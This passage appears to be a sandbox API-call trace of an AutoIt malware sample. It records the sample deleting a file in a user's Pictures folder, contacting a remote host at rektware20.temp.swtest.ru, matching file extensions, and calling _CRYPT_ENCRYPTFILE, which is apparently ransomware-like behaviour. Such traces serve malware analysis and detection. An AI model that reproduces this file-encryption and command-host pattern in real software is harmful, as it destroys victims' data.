PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.261] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.261] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.261] CloseHandle (hObject=0x3bc) returned 1 [0062.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.262] CloseHandle (hObject=0x2ac) returned 1 [0062.264] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.264] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", lpFilePart=0x0) returned 0x46 [0062.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\eagtqd14i1qzakwqa.bmp")) returned 0x20 [0062.265] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0062.265] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\eagtqd14i1qzakwqa.bmp")) returned 1 [0062.267] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.268] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0062.268] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.268] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.268] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.269] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.269] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.269] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.269] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.269] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.269] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.269] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.269] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.269] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0062.269] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.269] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.270] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.270] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.270] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.270] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.284] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.284] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.289] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.289] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.289] CloseHandle (hObject=0x0) returned 0 [0062.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.290] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.291] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.297] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.298] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.299] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vg8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iL.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.300] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.300] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.300] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.300] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.300] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.301] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.301] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.301] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.301] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0062.301] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.301] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.301] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.306] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.306] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.307] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.307] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.309] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.309] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.309] CloseHandle (hObject=0x0) returned 0 [0062.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.309] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.309] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.310] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.310] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.310] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.310] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.310] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.310] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.311] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.311] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.311] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.311] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.312] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.312] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.313] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.313] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.314] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9df0) returned 1 [0062.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.315] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.316] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.316] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.316] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.316] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.316] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.316] PeekMessageW (in: lpMsg=0x130ecb4, 